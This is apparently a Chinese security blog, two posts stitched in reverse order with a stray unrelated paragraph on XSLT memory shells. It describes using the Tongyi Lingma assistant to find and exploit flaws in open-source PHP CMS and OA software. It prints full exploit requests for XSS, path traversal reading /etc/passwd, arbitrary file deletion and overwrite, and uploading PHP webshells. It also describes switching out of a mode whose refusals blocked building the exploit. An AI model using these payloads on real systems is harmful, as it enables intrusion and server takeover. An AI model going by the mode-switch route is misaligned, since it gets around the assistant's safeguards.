<title>{
if isset($.title) && !empty($.title)}{
$.title}{
else}{
$.channelname}{
/if}</title>

此处直接将title参数输出到HTML中,没有进行任何过滤或转义处理。如果title参数中包含恶意脚本,将直接被执行,从而导致XSS攻击。

2.在文件article_edit.php中,存在类似的代码:

<input type="text" name="title" value="{$article.title}">

同样,此处直接将title参数的值输出到HTML中,没有进行适当的处理,也可能导致XSS攻击。

这里给出的是前端的解析,说明此处确实存在xss漏洞,但是其前端是纯展示界面,并不存在任何编辑的地方,所以我们可以接着给出prompt,让其寻找哪个方法是可以输入title参数的,等找到这个输入的位置就可以进行验证:

已知对于新闻的管理是放在admin代码目录下,请你寻找该目录下的方法,找到可以输入title的位置

此时给出的回复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
在admin目录下,我们可以找到与文章管理相关的方法,这些方法可能涉及到标题(title)的输入和处理。根据检索到的代码片段,可以确定以下方法可以处理title参数:

1.文章编辑方法: 在文件article.php中,存在一个处理文章编辑的方法edit。这个方法中包含了对title参数的处理逻辑。

if($editColumns=C('this:article:editColumns:~',$array['columns'])) {

$array['columns']=$editColumns;
}

此处editColumns可能会包含title字段的编辑内容。

2.文章保存方法: 在同一个文件中,存在一个保存文章的方法editSave。

if(isset($array['cid'])){
$_POST['cid']=$array['cid']; }
if(!C('this:csrfCheck',1)) {

Return array('msg'=>'非法提交,请刷新当前页面或重新登入系统','error'=>1,'code'=>1001);
}

这个方法中会处理文章的保存操作,包括title字段的保存。

说白了就是后台涉及文章管理的地方,打开web端进去找,同时结合BP工具进行抓包判断

找到这个界面,不管了全部都插一遍:

image

使用语句如下:

1
<img src=1 onerror=alert(/222/)>

验证出同一页面下存在三处xss漏洞:

image

我们接着看上面灵码的提示:

文章保存方法: 在同一个文件中,存在一个保存文章的方法editSave。

if(isset(array[‘cid’])){_POST[‘cid’]=$array[‘cid’]; }
if(!C(‘this:csrfCheck’,1)) {
Return array(‘msg’=>’非法提交,请刷新当前页面或重新登入系统’,’error’=>1,’code’=>1001);
}

这个方法中会处理文章的保存操作,包括title字段的保存。

现在定位到这一块,我们在web端寻找调用此方法的位置,并拦截其初始请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /admin?do=admin:article:editSave HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

此时就可以结合我上一篇文章的技巧,直接让灵码帮助构造请求包来验证xss漏洞

这时workspace模式极有可能抽风,可能是因为涉及到漏洞验证触发了关键词,反正一直只给出修复方式

image

这时还是需要回到普通模式,找到admin下article文件中的editSave方法,全选代码后,给出让其修改的prompt:

image

构造请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin?do=admin:article:editSave HTTP/1.1
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

cid=66618103&id=28&title=<script>alert('XSS')</script>&content=<script>alert('XSS')</script>

这里就又出现了一个幻觉问题,经过人工审查,发现这里并不存在title这个输入参数,经过上下文分析后,应该是前面提到title参数与文章有关,灵码联想到了文章——>article ,所以判断此处存在可能存在漏洞。

但是实际上这里存在漏洞吗?答案是存在的!

从语法分析上,灵码误判的几率较小,但是会受prompt的影响,进而被使用者“误导”

所以,这里我们需要重新审计这段代码,告知里面存在xss漏洞,进而进行利用

其中,灵码的返回内容如下:

image

已知存在 _referer 未经过滤,OK,下面直接让灵码开始利用(content部分为自己修改的恶意内容):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin?do=admin:article:editSave HTTP/1.1
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

_referer=%3CsCrIpT%3Exxzaurchol%3C%2FsCrIpT%3E&cid=66618103&content=%3Ch1%3E%0A%09%3Ctable+style%3D%22width%3A100%25%3B%22+cellpadding%3D%222%22+cellspacing%3D%220%22+border%3D%221%22+bordercolor%3D%22%23000000%22%3E%0A%09%09%3Ctbody%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%3C%2Ftbody%3E%0A%09%3C%2Ftable%3E%0A%3Cbr+%2F%3E%0A%3Cimg+src%3D%22http%3A%2F%2Fpublic%2Fclass%2Fkindeditor%2Fplugins%2Femoticons%2Fimages%2F32.gif%22+border%3D%220%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%5Ctuma.jpg%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%0A%3C%2Fh1%3E&csrf=404619e7&datetime=2021-05-20&description=1&id=28&keywords=1&recommend=on&title=%E6%B5%8B%E8%AF%95%E6%96%87%E7%AB%A0

发包之后,回显保存成功,证明此漏洞存在:

image

网上搜了一下,没有找到同样的,应该是0day了

文件包含

根据cve原文描述漏洞如下:

ClassCMS <=4.8 is vulnerable to file inclusion in the nowView method in/class/cms/cms.php, which can include a file uploaded to the/class/template directory to execute PHP code.

我们直接选择workspace模式,将以下prompt丢给灵码进行辅助判断:

在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞,这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在?同时简要分析,不需要给出修复方法。

灵码给出的答复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞,这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在?同时简要分析,不需要给出修复方法。

// ...此处为省略代码...
}
function nowView($template_config=array()) {

if(!isset($template_config['file'])) {

$this->error('no file');
Return false;
}
$file=$template_config['file'];
$file=ROOT_PATH.str_replace("\\","/",$file);
if(!file_exists($file)) {

$this->error('file not exists');
Return false;
}
if(!is_file($file)) {

$this->error('not a file');
Return false;
}
ob_start();
include $file;
$content=ob_get_contents();
ob_end_clean();
Return $content;
}
// ...此处为省略代码...

从上述代码中可以看出:

1.文件路径处理:$file 变量来自 $template_config['file'],并且进行了简单的替换处理 (str_replace("\\","/",$file)),但未进行其他过滤或验证。

2.文件存在性检查:通过 file_exists 和 is_file 函数检查文件是否存在并且是一个文件。

3.文件包含:使用 include 语句包含文件内容,并通过 ob_start 和 ob_get_contents 获取文件内容。

从代码中可以看出,nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查,但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数,并成功上传恶意文件到包含路径中,就可能执行任意PHP代码。

nowView方法存在文件包含漏洞,可能导致执行上传到/class/template目录的PHP代码。需要进一步检查调用nowView的地方以及$_file参数的来源,以确定实际风险和可能的缓解措施。

image

这时候,我们接着检查调用nowView的地方以及$_file参数的来源分析:

1
2
3
4
5
6
7
8
9
10
11
在文件cms.php中,有多个地方调用了nowView方法。以下是一些调用示例:

C('cms:nowView',$route_view,array_merge($route_view_article,$return),$classhash);
// ...
C('cms:nowView',$route_view,array_merge($route_view_article),$classhash);
// ...
C('cms:nowView',$route_view,$return,$classhash);

尽管我们找到了调用nowView的地方,但是从检索结果中并没有直接显示$_file参数的来源。因此,我们需要进一步手动检查代码,特别是那些调用nowView方法的地方,看$_file参数是如何确定的。

从代码中可以看出,nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查,但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数,并成功上传恶意文件到包含路径中,就可能执行任意PHP代码。

结合方法尝试构造路径 ,Get和Post都可以进行尝试,直到找到正常回显的界面即可:

/admin?do=cms:nowView
/admin?do=cms:cms:nowView
/cms?do=cms:nowView
/cms?do=cms:cms:nowView
.
.

找了半天之后,发现均是无权限,后来看了下完整的目录,发现这个位置应该是在该CMS的初始化界面,配合install.php 来使用的

nowView 的函数,主要用于加载和渲染指定的模板文件,其中:

  • $_file:指定要渲染的模板文件名。
  • $_vars:一个数组,包含传递给模板的所有变量,默认为空数组。
  • $_classhash:一个字符串,用于指定类的哈希值,默认为空字符串。

所以这里需要删除环境重新回到初始化界面来验证,验证方式也是比较容易,找到该参数的请求包加以构造就可以了,只能说漏洞确实存在,但是利用性不高。。。

总结

整篇看来,其实可行性还是比较高的,通过通义灵码的帮助,安全研究人员能够更加高效地定位并验证未公开的漏洞。无论是XSS还是文件包含等漏洞,通义灵码都能够提供有针对性的代码分析和漏洞定位建议,大大减少了手动排查的时间成本。然而,值得注意的是,尽管通义灵码表现出色,但在某些情况下,仍需依赖人类的经验来判断模型给出的建议是否合理,尤其是在面对较为复杂或多变的代码逻辑时。

期望在未来,除了漏洞复现之外,通义灵码可以拓展更多的应用场景,比如自动化安全测试动态分析以及威胁建模等。在自动化安全测试方面,通义灵码可以自动生成针对特定安全漏洞的测试用例,帮助开发者在代码提交之前就能识别潜在的风险,从而提高软件的质量和安全性;在动态分析领域,通义灵码可以监视程序运行时的行为,检测异常活动,及时报告潜在的安全问题;而对于威胁建模,通义灵码能够根据现有的安全知识库和模型,预测可能存在的攻击向量,并提出防范措施,帮助开发者设计更加健壮的应用架构。

通过不断地迭代升级,期望灵码能成为软件安全生命周期中一个至关重要的工具,不仅在开发阶段提供即时的反馈和支持,也在部署和维护期间持续发挥作用,为软件的安全性保驾护航,助力开发者和安全专家共同应对日益复杂的网络安全挑战。

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

本文转自 周周的奇妙编程 并作补充

前言

已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。争取在未来的两个月内把这些内容都补上

准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。

赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,“通义灵码”起到了较大的帮助,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。

审计对象

本次审计的对象主要有两个:某开源PHP最新版6.0某开源OA最新版2.6.5

借助通义灵码,共审计出开源PHP最新版6.0高危漏洞4个,某开源OA最新版2.6.5高危漏洞1个 , 目前已提交至CNVD平台,尚在审核流程中,所以此处不便直接透露详细信息。

工具准备

环境搭建工具

**phpstudy_pro(小皮面板)**:在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。

代码审计工具

Seay源代码审计:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji

CodeScan:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:https://github.com/Zjackky/CodeScan

RIPS :Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/

代码编写及辅助工具

Visual Studio Code :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。

通义灵码:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。

遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。
详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

源码下载

由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。

image

image

环境搭建

将下载后的源码放在phpstudy的 www 目录下

image

进入 phpstudy_pro\WWW\cltopen-master\cltopen-master\config 目录下,修改数据库配置文件

image

修改之后可以进入数据库中,导入该开源项目的示例数据库

image

打开phpstudy ,设置域名和根目录

image

设置伪静态(必须)

1
2
3
4
5
6
7
location / {

if (!-e $request_filename){

rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}

image

点击确认即可,打开浏览器访问域名即可看到

同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件

审计打点

在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。

值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。

image

image

这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。

在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析)

源码分析

打开源码,进入到Template.php页面下,可以看到代码如下:

image

主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。

按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了通义灵码,一切都变得不一样了。

首先我们全选代码,使用提示词如下:

已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

这段 prompt 有几点比较关键:

  1. 我们需要明确告知灵码,这里确实存在安全漏洞,同时也是确认主题,避免输出其他内容
  2. 我们需要告知,找出它能确定的漏洞,减少误报和泛化判断
  3. 明确最终结果是分析该漏洞形成原因,也便于安全工程师理解

随即,灵码会针对该段代码进行一次静态审查,并给出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
安全漏洞及分析

1.路径遍历漏洞

位置:insert, edit, update, delete, imgDel , Images方法
原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。
示例:
php
$filename = input('post.file'); // 用户输入未验证
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type; // 可能导致路径遍历

2.文件上传漏洞

位置:insert, update 方法
原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。
示例:
php
file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容

3.目录删除漏洞

位置:imgDel 方法
原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。
示例:
php
$path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证
$file=$path.input('post.filename'); // 可能导致路径遍历
is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件

4.SQL 注入漏洞

位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。
原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。

5.XSS 漏洞

位置:edit, images 方法
原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。
示例:
php
$content = file_get_contents($file); // 未转义
$this->assign ( 'content',$content ); // 直接输出到页面

image

每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉)

下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置

路径遍历漏洞、任意文件删除漏洞

image

采用BP抓包,此处以edit方法为例,可以发现拼接方式是 admin/模块/方法/操作对象类型/操作对象

image

观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法

其中请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html  HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去:

已知请求包如下,请你帮忙修改请求包以验证该漏洞存在:

image

此时,它会根据当前的传入参数自动构造一个修改后的返回包:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

除此,下面也配上了漏洞分析和预期结果:

1
2
3
4
5
6
7
8
漏洞分析
文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts
这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。
其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。

预期结果
如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。
如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。

再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容:

image

image

再比如,定位到Images方法处

image

采用BP抓包,可直接抓到如下地址:

image

借助灵码直接构造请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/images.html?folder=../../ HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

可在图片查看界面实现对文件目录的遍历:

image

同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害!

image

文件上传漏洞、文件内容覆盖漏洞

继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞

在BP中抓包地址如下:

image

我们先修改为insert方法,故当前请求包为:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包:

已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 65
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=test.php&type=php&content=<?php system($_GET['cmd']); ?>

可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包

image

并且下面也给出了相应解释及详细验证步骤

image

因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../shell&type=php&content=<?php eval($_POST[1]);?>

返回包提示添加成功

image

在static目录下可以看到该上传的文件

image

由于没有限制文件格式和内容,此处是可以上传任何格式和内容

同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数

image

这里直接延用上述请求包即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/update.html HTTP/1.1
Host: public
Content-Length: 46
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../../ceshi.txt&type=txt&content=nihao

但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀)

执行后结果如下:

image

原测试文件内容如下:

image

执行后文件内容如下:

image

可以看到已实现对任意文件内容的修改

SQL注入漏洞

看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力

进入到广告管理模块下面,看到其调用的方法来自AD.php

继续使用上述prompt:

已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险

它给出的回答如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析:

1. index 方法中的 where 条件

->where('a.title', 'like', "%" . $key . "%")

成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。
